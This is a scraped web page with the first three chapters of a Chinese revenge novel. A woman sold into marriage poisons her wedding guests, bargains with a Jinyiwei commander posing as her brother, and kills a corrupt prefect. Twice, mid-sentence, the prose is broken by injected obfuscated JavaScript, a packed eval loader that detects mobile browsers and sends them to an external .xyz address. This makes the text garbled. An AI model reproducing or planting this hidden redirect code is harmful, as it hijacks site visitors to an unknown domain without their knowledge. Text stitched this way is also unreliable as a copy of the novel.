《恶女她恃宠行凶》 1. 引狼入室 “新妇进门,踏喜——” 夜色迷蒙,新人拜堂。 红色绸缎扯到乡野的犬牙小路上。雨后的土道泥泞不堪,尽头山影层叠,压住了一切声嘶力竭的悲鸣。 堂中,炭火被人撤走,架在上面的烙铁正滋滋作响。两人合抬着,将其置于地面。 被喜娘搀着的新娘似有感应,忽地浑身一颤,脚步顿在原地。 “走啊,这可是老祖宗留下来的规矩。” 喜娘转了转浑浊的眼珠,枯瘦的手指紧抓她胳膊不放,“踏过烙铁,才算真正进门。新妇走得越稳当,日后越能生男胎。” “徐申娣,老子买你花了不少钱。” 新郎官嘴边还挂着肘子肉上的油腥,说起话来鼻孔一张一合,几根稀疏的毛便支了出来,“我们家五代单传的福分,今夜可就系在你这双脚上了。” 大红盖头下的徐申娣一声不吭。她紧紧攥着红绸,双肩颤抖如筛糠,懦弱得像只惊惧的狸奴。 见状,新郎官脸上的横肉颤了颤:“怕了也得走!再磨蹭老子把你腿打断!” “快点走!快点走!”屋中宾客也跟着起哄,活脱脱似啖人血肉的伥鬼。 在一片扭曲变调的呼喊声中,徐申娣瓮声瓮气地开了口: “五代都单传,可见男丁不行是祖传的。” 她毫不吝啬自己的讥讽,说到最后还带了笑音:“早晚都要断子绝孙。” 堂中静了一瞬。 回过神来,新郎官暴起而怒,抡起硕大的拳头朝着徐申娣面门砸去,“臭婆娘!老子打死你!” 然而,徐申娣不紧不慢地侧过身去,如静水无波般移至香炉前。红绸骤紧,烛光摇曳,衣袂翩翩间,她伸出一根手指,面向众人声音如同鬼魅: “诸位别急。戏台已经搭好,今日可是大喜。” 话音刚落,屋中一角忽然传来哀嚎。 “啊——” 众人齐齐转头。 只见呼救的那人脸色铁青,一手朝着空中胡乱比划,另一只手捂着喉咙,就这样双眼一翻白,直挺挺地倒在地上。 紧邻的人壮着胆子去摸他的脖颈,可刚一触碰到,就吓得瞬间跳开。 “死人啦!” 屋中的尖叫声此起彼伏。而就在这时,一道突兀而又愉悦的笑声夹杂其间,犹如山鬼点卯: “下一幕点到谁了呢?” 反应过来的宾客们大惊失色,试图夺门而逃,可是门窗纹丝不动。 红绸在夜色遮掩下早就拧紧了门闩,另一端扯在徐申娣手中,他们徒劳地哭喊着、拍打着,划得门板上尽是血色的抓痕,急促的呼吸声渐渐化为窒息的哨音,整个屋子也变成了人间炼狱。 正堂中间的香炉烧得更旺了,掺和着丝丝药草芳香,然而今夜的山鬼还在笑着,纵容死亡的脚步愈行愈近。 “啊——” 新郎官一手抓着自己的脖颈,试图抠开喉管拼命呼吸。可他越是惊恐,就越是吸入更多。 最终,小山似的身躯重重摔在地上。发紫的指甲抠在地面,他挣扎着爬向窗子,边抽搐边哀求道:“不!我不能死!不能……求你……” 朦胧间,他瞧见徐申娣越来越近。他的脸扭曲在那把泛着寒光的刀刃上,恐惧、慌乱轮番涌上他的心头,最终余下了深深的不解。 明明,他事先一再笃定,狰狞山峦会与他一道压弯她的脊梁。 “你在求什么?群山静默,何曾垂怜于蝼蚁?” 大红盖头掀起,下面的脸早就捂住了口鼻。垂死挣扎的猎物们丑态百出,今夜的她已经拿起了屠刀,注定会成为下一个沉默而可怖的巨物。 红绸漫卷似血,山影吞没悲鸣。 可螳螂捕蝉,黄雀在后。 冲天火光中,她忽然感受到一道森冷的目光在背后窥视。她下意识地回过头,惊觉残破的窗棂外站着一道黑影。 那双眼瞳没入屋檐下的黑暗中,叫人看不清神色,像极了祠堂里不知为何而拜的模糊画像。 *** “滴答——” 青州位于盛朝南端边陲,饶是寒冬,也唯有疾雨骤至。地牢中不见天光,城里的雨下了又停,如此过了三日。 “那女人到底是不是李大人失散的亲妹?” “李大人自己带回来的人,不会有错吧?” 狱卒掏出钥匙打开牢狱的大门,正想走进最深的那间,看看那个新人是死是活,一阵干脆利落的脚步声忽然在他身后响起。 狱卒二人默契地回头转身行礼:“见过李大人。” 男人淡淡地“嗯”了一声,自顾自地走向牢房深处。 狱卒二人默契地回头转身迈腿,离开了地牢。 又是一滴水珠掉落在地。谢晦已动了动眼皮,慵懒地打了个哈欠。 手上的镣铐发出清脆的碰撞声,能活动的范围极其有限,不过她没什么不满意的。毕竟这里会按时提供三餐,没有动辄打骂,也不用叫那个难听的名字了。 唯一让她感到苦恼的,便是隔三差五来看她的男人——他今日穿着墨绿暗纹曳撒,轻薄的臂甲泛着寒光,此时开锁进入了牢房。 那是一张俊美得妖异的脸,虽是中原人的皮相,但眉眼比寻常人更为深邃,如西域进贡的黑王蛇,墨绿色的眼眸淡漠得毫无温度,似是风沙越过千里,带来了远方孤寂。 谢晦已在心底默默翻了个白眼。也是她倒霉,放把火还能撞上路过的京官,不过这人似乎来头不小,若是利用得当,她倒也能达成目的。 “还不交代?”他率先打破了死寂,“你是什么人?” “想知道答案?”谢晦已抬起头,对他勾手一笑:“大人且过来,我偷偷告诉你。” 男子面色微沉,手中的绣春刀瞬间直指谢晦已的喉咙,将她定在原地不得动弹。 “手里的东西扔了,别让我说第二遍。” 谢晦已撑坐在地,避着剑刃艰难转头,半晌,她嗤笑一声:“明察秋毫啊,京官大人。” 她这双桃花眼倒映着皎洁月色,明眸善睐,瑰姿艳逸,三两点星火,与月夜的光辉,比拟不了她此刻的夺目风华。浓墨重彩的五官描摹,仿佛是丹青笔墨下,雾障中轻踏松雪的狼。 这一眼,他仿佛听见了群山的呢喃,犹如曼妙山鬼贴耳轻笑。下一刻,一枚银针掉落在地,淬了寒光,打断了他心底的情愫横生。 “哪里来的?”他问。 “我身子不舒坦,请个郎中瞧瞧怎么了?”谢晦已故作无辜,虽是刻意为之,却让见者不觉垂怜三分,“大人真是少见多怪。” 男子将刀移走了几寸,却缄默不语,只上下打量她。似乎是意识到什么,他忽然侧首轻笑,阴冷的话语如无形之手,缓缓扼在她颈间。 “你觉得我奈何不了你,是吗?” 手起刀落,他挑开谢晦已的衣带,随即“嘶啦”一声,撕下了她肩上单薄的衣衫。 谢晦已侧身躲开他的注视,冷声问道:“你做什么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875678|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他置若罔闻,伸手掀开她的衣领,目光肆无忌惮地落在她肩头,自顾自地探查她叫来郎中的缘由。 那里留有一道被烫伤的疤痕,伤口尚未愈合,即便他想不顾男女之防辨认,也无能为力。 他不禁转头看她。阴影中,那双眸子犹如盏盏鬼火,仿佛踽踽独行数年,终于在人群中锁定了自己的猎物。 “你知道这里该有什么?短短三日,你从何得知这个消息?” 谢晦已慢条斯理地整理起衣物,慵懒的语气吊足了他胃口。 “兄长在说什么?我怎么有些听不懂了?我这里确实有一处梅花胎记。你那日抓我抓得太急,我哪里清楚你是寻亲心切,还是想与我……共度良宵?” 她上前一步,主动按住他腰间的绣春刀,“我也是为求自保,才烫伤自己隐瞒身份呀。” 男子将手扣在她的腕间:“你能这样做,恰恰说明你并非我要找的人。天子犯法尚与庶人同罪,你杀了那么多人,按律是要问斩的。” “我知道兄长会为我解决隐患的,对吗?”谢晦已照旧笑着,眼神却冰冷异常。 “你比我更清楚,你没有筹码能让我动容。”他无动于衷。 谢晦已偏过头,对他抿唇一笑:“大人这样大张旗鼓地寻人,有没有想过,我这样一个乡野女子都猜得到她的特征,更妄论旁人?仅凭胎记认人,就算不是我,也会入了旁人的圈套。你何不顺势而为,认我为亲,转明为暗?” “更何况,”她眸光一闪,露出了原本的精明,“大人若无他意,又何必留我三日性命?” 他难得沉默,继而说道:“你能费尽心思逃离魔窟,想来不会甘心止步于此,更不会忽然大发善心。” “大人在试探什么呢?”谢晦已又近了一步,“担心我狮子大开口,你给不起这份报酬?” “错了,是担心你未必值得,”他将问题抛了回去,又踢了踢地上的银针,“捞出来一只尸位素餐的银刺猬,是给我自己添堵。” 谢晦已抬起另一只手,忽然抚向他的脸颊,指尖缓缓摩挲着每寸肌肤,直至滑按在他的唇上,“大人这般抬举自己,是自信留得住我?” “倘若你能狡兔三窟,我也奈何不得,”他轻轻拉扯她身上的铁链,“你只是当下非我不可,被你用完就扔了,那可真是亏本的买卖。” 谢晦已端起方才故作顺从的姿态,好言好语道:“村里已无活口,那些蛛丝马迹您动动手指便能遮掩。进一步说,您还能将其捏在手中,充当威胁我的把柄,您让我往东,我哪里敢往西?” 他并不信谢晦已会有这样的好心,闻言只是笑了笑,“说得好听,倘若你并未犯下死罪,我这里也不会有你驻足的理由。你并非死心塌地,我要如何信你?” 谢晦已也笑意盈盈:“大人有所不知,我对大人可是一见倾心,又怎会舍得离开大人呢?” 说罢,她踮起脚尖,一个轻吻就这样落在他脸颊。可不等她有下一步的举措,男子就反手挡在她的唇上,满眼皆是戒备。 “鬼话连篇,你不至于撩拨人心,我也不至于色令智昏。” 谢晦已故作惊诧,随后略带遗憾地摇了摇头。 下一刻,她忽然咬住了男子的手掌,藏匿在牙后的毒囊在此刻暴露无遗。 他吃痛抽手,却被她死死扯住手腕。无奈之下,他只能再次抽刀。 谢晦已抹去嘴边的血迹,缓缓舔了舔指尖,对他幽幽一笑。 “多谢大人成全。” 2. 三顾玉佩 青州,某处卧房中。 谢晦已一只手被铐在床边。以防被套出情报,屋中未留一人,屋外重兵把守,一整日都静得落针可闻。 这时,大门敞开,朔风凛冽,灌了满屋霜寒。 李灵濯手缠纱布,缓缓走来。虽是解了毒,可他并没有放走谢晦已的打算——害人害己的豺狼,捏在自己手中最安全。 他扯来一张木椅,与她视线齐平,“你叫什么名字?从前是哪里人?” 谢晦已不愿坦诚相告,给了他一个折中的选择:“谢见黎,从前住在京城。” 李灵濯心中冷笑。她能这样好好配合,想来只有一个可能。 “不见得是真名。” 话虽是这样说,可他依旧将名字放在心里念了几遍,“京城之中,我从未听说谢姓人家丢过女儿。” 闻言,谢晦已轻嘲一笑:“京城里的腌臜事还少吗?” 李灵濯凝望她片刻,再开口时语气稍缓:“你可是遭人陷害,在京城尚有仇家在?” “是啊,苦大仇深,”谢晦已漫不经心地回答道,“十年前我父亲随便寻了个由头,将我捆了手脚发卖至青州。” 李灵濯不禁蹙眉:“倘若是为碎银几两,何必将你卖到边陲贫寒之地?留在京城替清贵人家做事不是更好?” “他哪里是为了钱财?是为了灭口,”谢晦已平静地移开目光,“趁着夜色,他诬陷我是个手脚不干净的婢女,叫人牙子把我打发得远远的。” 那一双幽黑的深洞望着虚无,不知埋藏了多少恨意。李灵濯凝望着她目中的深渊,忽然觉得追问下去没了意义。 于是,他从袖子里掏出一样物件。那是一整块羊脂白玉雕出来的镂空玉佩,上面的兰花交错生长,栩栩如生。 “这是我妹妹的东西,她与我同父异母,叫做李兰畹,多年前在绥江附近失踪。” 谢晦已伸手接过,上下翻看时,又装作若无其事地询问道: “既是做戏,大人总不能让我一头雾水替你办事吧?‘我’为何会流落青州,官府对此有无定论?青州山峦重叠,大人又是如何找到我那处村庄?不单单是‘我’,沦落青州的女子究竟有多少人?其中是否另有隐情?” “谢小姐打探消息的心思可以歇一歇,我这里只有几句忠告。” 李灵濯抬起眸子,与她的视线对撞,“青州从前的张知府涉案其中,我便是从他口中审出这几处村庄。他身上案子不少,昨日便已押解回京。你复仇心切,却也不能越过法理。有律法裁断在前,所有人一视同仁,包括你的仇人。” 谢晦已没有吭声,只默默将此事记在心间,等待恰当时机向旁人打听。 随后,她不动声色地瞥向窗外,眼看夜色又至,她不禁思忖着:难道她真要跟这个人共度良宵? “你似乎忘了些事情,”谢晦已动了动被钳住的手腕,“你如今是我兄长,有这层关系在,我定不会伤你。” 李灵濯的视线定格在她纤细的手腕上,听了这话却是无动于衷。 想来她嘴里尽是虚假,这唯一一句真的,也被当成了假话。 “别装聋作哑,”谢晦已瞬间皱紧眉头,“我总不能在你这过夜吧?” 李灵濯微微一怔,随即扬唇一笑:“一个不错的提议。我刚刚与你认亲,彻夜长谈也合乎情理。” 在她难得一见的震惊目光中,他还真就解开了中衣,自顾自地在谢晦已身侧躺下。 谢晦已被困在一隅,坐又坐不住,躺又躺不下,不禁咬牙道:“你倒是歇下了,我怎么办?” “谢小姐足智多谋,自然有的是办法,”李灵濯侧首轻笑,抬手捻起谢晦已一缕秀发,“大不了再狡兔三窟,谁又能拦得下你?” 谢晦已第一次感受到什么叫自食其果,不得不色厉内荏地瞪着他。 许是觉得她的目光太过灼人,李灵濯抬手解开了束缚。然而不等她起身下榻,他又将她按回床上:“你就待在这,哪里都不许去。” “没有锁,你还想困住我?”谢晦已质问道。 李灵濯轻轻捂住她双眼:“别以为我不知道,你是想打探消息,去找张知府的麻烦。” 末了,他又补了一句:“乖乖待在这里,明日在外人面前装得像一些,我就给你看名单。” *** 得知李大人寻得亲妹,青州代任知府刘大人想了个由头,特意筹备了一场府宴。 谢晦已今日一袭梅子青罗裙,颇有几分官家小姐的模样。登门拜访时,刘知府夫妇亲自来请,将她迎了进去。 “李指挥使在里面等着呢,李小姐请进吧。” 谢晦已疑惑问道:“指挥使?” 刘知府恭顺道:“李大人是锦衣卫指挥使,祖上是太祖皇帝的二皇子,如今虽无爵位,却深得陛下赏识。” 谢晦已不禁试探道:“既是锦衣卫指挥使,身担朝廷重责,想来也不会因私事擅自离京?” 刘知府听了这话连连摆手,似是不敢多言:“下官只知李小姐一事,不过此事早已被李大人勒令禁谈。再多的,下官也不太清楚了。” 谈话间,几人踏入了花厅。 宴席间不乏当地有头有脸的人物,倘若在京城,男女定然不同席,可此地天高皇帝远,倒也没有礼官在旁监督。 丝竹声中,舞女轻盈起舞。谢晦已坐在西侧首位,瞧见自己桌前也放了酒盅。 酒在村子里是稀罕物,从前她只看过村里的男人们喝这东西,一喝起来就会鼾声震天,打骂声此起彼伏。 她对此并没什么好印象,加之杯中之物一闻便是烈酒,所以她只是嗅了嗅,便将其放回桌上。 这时,一旁的侍女走到她身边:“李小姐,李大人替您换了一杯果子酒。” 谢晦已转过了头。 那人今日换了身月白锦袍,正坐在北侧主位上与旁人推杯换盏,而时不时地,那双苔藓般趋光的墨绿眸子总会转过来,毫不掩饰自己的监视。 想到刘知府说的话,在视线交缠中,谢晦已的目光不免多了几分探究。 她转头对侍女微微一笑:“你告诉李大人,我守寡不宜饮酒,更不宜独酌,让他莫要失了分寸。” 向李灵濯敬酒的有当地富商——青州盛产茶叶,商人大多以此为业。更有蠢蠢欲动的官员,意图从这位御前红人嘴里打探京城动向。 “李大人,青州的茶叶向来是要供应出去的,今年海关那究竟如何情形?”茶商恭顺地立在他面前。 旁边的官员谄媚一笑:“李大人,明年就是陛下登基第四年了,我们家中都是有女儿的,您看京城那边有没有什么动静?家中小女粗鄙了些,倒也学了些才艺。” 侍女在这时打断了几人的推杯换盏,向李灵濯转达了谢晦已的话。 谢晦已刚想观察他脸上的神情变化,却也被旁人打断了兴致:“我瞧李小姐独自一人,如此枯燥无趣,不若有人作陪?” 谢晦已抬起头,发觉是青州府的王同知。她温言婉拒道:“我不善饮酒,怕是要辜负王大人的好意了。” “无妨。斯人若彩虹,遇上方知有。李小姐这样的佳人,今日能得以一见,便是在下的荣幸。” 王同知从腰上解下玉佩,放在谢晦已的手中,“倘若李小姐有意,在下随时奉陪。” 谢晦已若有所思地将其攥在手中。王同知资历颇久,对于前任知府的事情或许很清楚。故而她微微一笑,眼里却毫无光亮: “初来乍到,长夜漫漫,劳烦王同知怜香惜玉了。” 王同知心中一喜,忙说道:“李小姐刚回青州城,经此一难,是该好好散心,我们来日方长。” “那位张知府已被押解回京,虽然有兄长的推波助澜,但我想青州府中当属王大人劳苦功高,我还未来得及感激王大人替我讨回公道。” 谢晦已羞涩地以袖掩面,留下一双美眸,对他投去了崇拜的目光:“我本就不善饮酒,谁能如王大人这般体贴?论起知我心忧者,自然非王大人莫属。” 王同知被她说得有些飘飘然,此刻完全放下了防备:“应尽之责,承蒙李小姐抬爱了。” 谢晦已笑着摇了摇头:“青州府现在是刘大人代行知府职责,可论资历的话,明明王大人才是众望所归,难道是张知府那桩案子拖累了王大人?” “是也不是。” 王同知向谢晦已近了一步,俯身在她耳边轻声说道: “张知府与下属州县的人沆瀣一气,诱拐良家女子倒也罢了,如今却是牵扯到了李小姐。李大人尚在追查从犯,一日不结案,我们这些旧人就要多提心吊胆一日。” 谢晦已故作惊讶道:“什么从犯?我兄长可有怀疑人选?” “不是怀疑,是确信。”提起此人,王同知蔑视地抬了抬下巴,特意点出 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谢晦已皮笑肉不笑:“李大人开口,我哪敢辜负?” 人多眼杂,谢晦已随他出了花厅,走到了一处人迹罕至的凉亭。 李灵濯转过身,轻轻扫了她一眼:“一枚破玉佩也值得你聊上那么久?” 说罢,他从怀中摸出一块和田红玉螭虎环佩,塞到谢晦已手中:“传出去让人以为我穷得揭不开锅。” 谢晦已刻意恭维道:“照猫画虎罢了,虚与委蛇之事自是比不得兄长大人。” 李灵濯轻轻一笑,眉眼舒展许多,然而话语却并非那般柔和:“没安风花雪月的好心,谢小姐不妨有话直说。” 谢晦已倒也没想与他多废话:“我信守承诺没有去找那些人的麻烦,今夜更没有引人怀疑,李大人也是时候兑现诺言了。” “什么诺言?”他故作不知。 “张知府的项上人头,以及从犯的名单、住处,”谢晦已的目光锐利得像淬了毒的尖刀,“我很清楚,你有钦差大臣印信在手,想查出点东西并不难。” “是谁告诉你的?”李灵濯垂首看着她的眼睛,“你今夜还喝了谁的酒?” “猜的,”谢晦已直勾勾地盯着他,“更何况我喝没喝过酒,李大人心知肚明。” “是吗?”李灵濯审视的目光毫不为之所动,偏偏还故意向前凑了凑,“下次记得从我这里‘听说’,也是为了谢小姐的安全。” 谢晦已轻轻摇头,带着几分蛊惑的笑:“还有下次?难道李大人这次无可奉告?言而无信,算是我看走了眼。” 目光交缠之中,他仿佛自甘落于下风:“此事我另有安排。至于那份名单,谢小姐已经见过了。” 末了,他又故意补了一句:“我相信谢小姐并不屑于嗟来之食。” “鬼话连篇。”谢晦已转身欲走,却被李灵濯再次拉住手腕。 “谢见黎,我不希望青州城内再有一场大火。”他说。 谢晦已照旧是一副故作恭顺的姿态:“指挥使大人的顾虑我明白。” 李灵濯深深地看了她一眼,突然说道:“我有名字。李灵濯。” “那又如何?”谢晦已挑眉看他,“在你改变主意前,你只能是李大人。” “这只是公平起见,毕竟我已经知晓了你的闺名。”像是在戳破她的自作多情,李灵濯张开手,赫然露出了掌心的沉香木手串:“以及一个威胁。” 谢晦已错愕地看向自己的手腕,发现那里空无一物。“李大人是想乘人之危了。” “在谢小姐的嘴里,我似乎是个坏人,”李灵濯对她笑了笑,“一个可以悄无声息拿走你东西的坏人,包括你的性命。” 谢晦已回呛道:“你已在人前公开了我的身份,想来无论我做些什么,都会被看作有你暗中指使。你既然有不可告人的盘算,应该知道如何避免打草惊蛇,何必让我一无所知地追查下去?届时走漏了风声,可别怪我动作不干净。” 她“啪”的一声打了个响指,朱唇微扬,声音若拂风而过的呢喃:“天干物燥,当心火烛,您说是不是?” 李灵濯轻轻瞥了她一眼,随后将沉香木拢于袖中:“油盐不进,替谢小姐暂管一日。” 谢晦已挥了挥他刚才交给自己的玉佩,勾唇一笑:“你会在别的地方看见它,我向你保证。” 3. 下不为例 是夜。 谢晦已穿上了府内侍女的服饰,蹑手蹑脚地离开屋门。 灯火阑珊,院子里尚有侍女值夜,见谢晦已出门,她紧紧跟随其后。 “李小姐,这么晚了您要去什么地方?” 谢晦已笑眯眯地对她招招手:“我人生地不熟的,你帮我个忙好不好?” 侍女不疑有他:“李小姐但说无妨。” 谢晦已将头上的发簪摘了下来,放在侍女手上。 想到那双幽暗的绿瞳,她忽然有些期待他流露出错愕的神情,就像逗弄一条不安分的毒蛇。 “半个时辰后帮我交给李大人,就说这场火我放定了。” 侍女疑惑地看着掌心,却没想到谢晦已抬手一击,直接将她打晕在地。 “委屈你在这里过夜了。” 谢晦已将她搬进屋子里,将门关得严严实实。再出门时,她手中多了一柄匕首,细看之下,竟是那柄放在李灵濯书房中的。 如今匕首不翼而飞,原处只留下一张字条:“多谢。” 谢晦已照着在侍从那打听来的地址,朝城西走去。 张大人住在一处二进宅院中。她徘徊良久,发觉躲不开门内的两名侍卫,转头便绕进了紧邻的巷道。 此地不比临街的那排府邸,矮小的民宅带着岁月的痕迹。谢晦已蹑手蹑脚地攀上屋檐,踏着顶棚的瓦片,走至与张宅一墙之隔的位置。她深吸了一口气,随即奋力向前一跃,双手勾住院墙外沿,费了好大力气才翻进院内。 稳稳落地后,谢晦已听见了一阵脚步声,似有几名侍女正在前面交谈。 “老爷怎么又要冰?这是被什么人打了?” “什么被人打了,是回府的时候心神不宁,一脚踩空了。” 谢晦已躲在种着莲花的水缸后,待人走得稍远些才跟上去。 “我呸!狗仗人势的东西!不姓李的话他就是个屁!还有你!” 骂完李灵濯,张大人又怒视跪在门外的女儿,“让你多在他面前晃晃,你连个男人都看不住!不孝女,你是不是想让你爹进大牢?” 他越骂越起劲,握着冰袋的仆从一时没拿稳,东西顺着他的鼻梁砸了下去。 张大人怒极,抬手就是一巴掌,将人直接扇翻在地,“滚滚滚,都给我滚!明天我要是完蛋了,你们也别想落得一点好!去把孙姨娘给我叫来!” 侍从们赶忙从院子里退了出去,谢晦已刻意避开人群,贴着墙根踏入其中。 张大人捂着额头视野有限,见一个侍女模样的人愣头愣脑地走进来,他心里不免又是一阵火:“你是哪个院子的侍女?没规矩的,我不是叫了孙姨娘吗?” “老爷,孙姨娘今夜身子不爽,故而举荐奴婢来侍奉您。” “又是一个不中用的,”张大人骂骂咧咧地朝她挥手,“过来!让我看看你。” 谢晦已缓缓走了过去。 张大人眯起眼睛打量她,竟觉得越看越熟悉。待他终于想起来这张脸是哪号人物,却为时已晚。 “你!你!” 他瞪圆双眼栽倒在地,心口插着一柄匕首。 谢晦已故技重施,从怀中摸出火油,在尸首上倒了一圈,又将屋中烛台投掷在地。 刹那间火光冲天。 她不紧不慢地在里面反锁了门,支起窗户跳了出去。 青州城开始下雪了。 李灵濯策马赶到的时候,张宅的后院已经烧塌,通红的火光穿透了漫天大雪。 巷子的房子低矮破旧,那些住户被张宅的骚动吵醒,生怕被大火波及,均披着打湿的被单跑到了大街上。 漂浮烟尘的水,正源源不断地从宅子里流出来,断木瓦片散落得到处都是,今夜的泥泞混乱与山中那夜别无二致。 李灵濯牵着马,越过那些围在外街上看热闹的人群,目光不断扫视四周,直到看见坐在巷子深处石阶上的谢晦已。 坐在黑暗中的她默不作声地望着他,脸上写着等候多时,也写满了无声的挑衅。 他也什么都没说,撑伞缓缓走向她。狭窄的巷道承载了他的无数念想,最终却化作一句不冷不热的询问。 “你让侍女拿发簪过来,不是为了邀我赏月吧?” 暗卫向他禀告后,他便去她房间叫醒了侍女,接着又去拜访了王同知。看了王同知写的一厚摞子狗屁不通的酸诗,又听他添油加醋地讲述了二人今夜的交谈,他竭力忍住赏他五十大板的冲动,径直来到了此地。 谢晦已这时抬起头,静等那把伞撑过自己的头顶。 “李大人吹了一夜晚风,怎么还没有醒酒?”说着,她将双手举起,“我身上滴血未沾,莫要冤枉好人。” 她只穿着洁白的中衣,在这样阴沉的冬夜,实在太过单薄,也带着一丝极其残忍的无辜。她笑得恣意而张扬,如同白雪淬炼的锋刃,在晦暗不明的夜擦出了光亮。 李灵濯故作不知,将她从地上拉了起来:“那你神出鬼没地来做什么?做法?” 谢晦已问:“听说你明日要拿他。怎么,被我抢先一步心里不痛快了?” 不知怎的,李灵濯手中的伞又向她倾斜几分,“你就这般等不及?非要亲手才肯罢休?” 谢晦已只是笑了笑,越过他又朝巷外走去,像极了一只离群索居的狼。她的背影却洁净无瑕,任何猜忌放在其上,都会显得过于沉重。 “站住。”李灵濯命令道。 谢晦已转过身,对他投来不解的目光。 李灵濯拿出帕子,拈起她肩上的一缕青丝。不等他用力,那条干净的帕子上便晕开一圈血迹。“你脱不开身的,凡事都会有迹可循。” 谢晦已二话不说便夺走了帕子,随手抄起一块路旁的石头,将它包在其中后,向前奋力一甩。 只听“扑通”一声,那条帕子便随着石头沉入江底。这时,她才回头给了他一个挑衅的目光,“我与张大人非亲非故素不相识,现在你又想如何?” 李灵濯原地站在巷中,站在晦暗不明处,让人瞧不清他的神情:“我目睹了一切,你就不怕我将你绳之以法?” 谢晦已仰头轻笑:“目睹一切?李大人是看见我杀人了?” 说罢,她忽然从袖中掏出李灵濯的匕首,“凶器便是它,待仵作前来验尸,李大人想要如何解释?若无李大人授意,我岂敢谋杀朝廷命官?” 她是不择手段之人,李灵濯对此早有预料。所以他只是撑着伞向她靠近,碧澄的眸子缓缓现于风雪中。“我今夜来,不是为了听你威胁我的。” 谢晦已会错了意,却毫无畏惧地站在巷口,挡住了外街涌入的风声,“事已至此,李大人除了替我遮掩,别无他路。” 这十年她活得如同行尸走肉,她早就忘了还有什么人性。倘若上天有意追责,也该追责到那些人头上,凭什么要一再审判自己? “说到底,李大人还算是我的共犯。倘若你从一开始就将我绳之以法,张大人也不会死,对不对?” 李灵濯不答反问:“你觉得你可以替天行道,越过法理结束他们的性命?” “法理?新鲜的说法,”谢晦已的目光霎时冷下几分,“天上本该有一双眼睛看着青州城,可是我等得太久了,你以为我不争不抢,能安稳活到上天垂怜的那一天?” 见到黎明的困兽,不会再想回到漆黑的丛林。那些年苟延残喘的蛰伏,只会变成她撕咬敌人的果决。 李灵濯试图反复确认这一点:“开弓没有回头箭,谢小姐当真要一条路杀到底?” 谢晦已微眯着眼睛,淬着寒芒的目光宛如露出獠牙的狼:“世本无法,不死不休。” “各州府衙可不是摆设。”他又近了一步。 “我命如草芥,苟存不过是侥幸,倘若伏法,何尝不是全了李大人的心愿?” 谢晦已扬起嘴角,抬手指向朦胧夜空,语气带着几分戏谑。“天色将明,李大人今夜好梦。” 说罢,她顺势挥了挥手,转身就要离开。 雪有些厚了,一墙之隔,巷子里是无声的剑拔弩张,高墙内是喧闹的一团乱麻。 李灵濯手中的伞忽然掉落在地,滚落了几圈,消失在黑暗中,空无一人的深巷始终回荡着它的声响。 他走出深巷,随她而行,几步便跟在了她的身侧:“衣服穿上。” 没有等她的回答,他解了自己的外衣将她兜头罩住,又一手揽着她向外面走。“莫要让旁人看见你,跟我走。” 谢晦已被他拽得一个踉跄,刚想开口说话,却闻到了他身上淡淡的龙涎香,如今夜匿于厚重云层的月色,乍寒却静谧得令人心安。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875680|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是她话锋一转:“李大人回心转意了?” “回什么心转什么意?”李灵濯照旧是云淡风轻的语气,“亡命赌徒又不止你一个。” 谢晦已不可置信地愣了下,继而垂首浅笑。明知道她今夜定有行动,却不安排人手盯梢——那匕首只怕也是他故意留下的。 李灵濯托她上了马,避开被喧闹惊醒的行人目光,背离那场大火携她策马而逃。 渐行渐远,谢晦已从那堆衣服中探出脑袋,望着前方人迹罕至的街道,她懒散开口:“就此放我离开,也是个好主意。你可以说是先遣我回京,他们哪里会计较我的下落?” “然后放任你去杀朝廷钦犯?”李灵濯眉眼含笑,随后腾出一只手,紧紧地环在她的腰间:“不妨由你来说,你既然有这份把握,为什么非要叫我来?” 谢晦已瞬间绷紧了身体,却故作轻松地说:“下了雪,夜路难走,总要有个法子。” 他又问:“刚下一刻钟的雪,谢小姐能未卜先知,提前劳烦侍女告知?” 谢晦已解释道:“李大人定会追查过来,我告知与否都是一样的结果。” “那你为什么叫我来?”他似乎有些不甘,也似乎是为了确认什么,忽然有了刨根问底的欲望,“你大可拖延时间,何必多此一举?只是想威胁我透露更多的案情给你?” 谢晦已语气格外平静:“我并不畏惧你来,更何况我确实需要你那份名单。你这个人很难缠,我想快刀斩乱麻,仅此而已。” 李灵濯笑了笑,声音如柳絮般随风而至:“所以是想给我一个交代?看来谢小姐还是个有始有终的讲究人。” 谢晦已不甘示弱:“我行善积德也不是第一次了,李大人还真是少见多怪。” 看着她浑身是刺的样子,李灵濯不禁抬起手,轻轻按在她颈侧。他的追问也接踵而至,试图撬开她心门一角:“你在回避我的问题,你为什么想叫我来?” 脉搏在他指尖剧烈跳动,谢晦已不禁呼吸一滞:“哪有那么多为什么?” 李灵濯并未再吭声。夜色中,他的眼睛犹如浮屠圆顶中的碧色琉璃。谢晦已看不见他的双眼,却能感受到他的手在收紧。 他眼中的三千世界,未经言语,却能化为一刹执念落在她心间,接二连三的追问,引她读懂了那一瞬间,也读懂了那晦涩难言的情窦。 她不会放任那道涟漪随波消逝,更不会就这样坐以待毙。于是,试探性地,她抬起了手,轻轻落在他的手背,抚过他的腕间,最终缓缓滑进他的衣袖之中。 他果然没有任何抗拒,这个人惯会将自己藏在光风霁月的皮囊下,如今将话说开,他更是肆无忌惮。 谢晦已幽幽一笑:“问了我那么多问题,不妨由你来说,为什么要帮我?耽误了这么久才来寻我,是怕我鬼迷心窍先去找了王同知?” 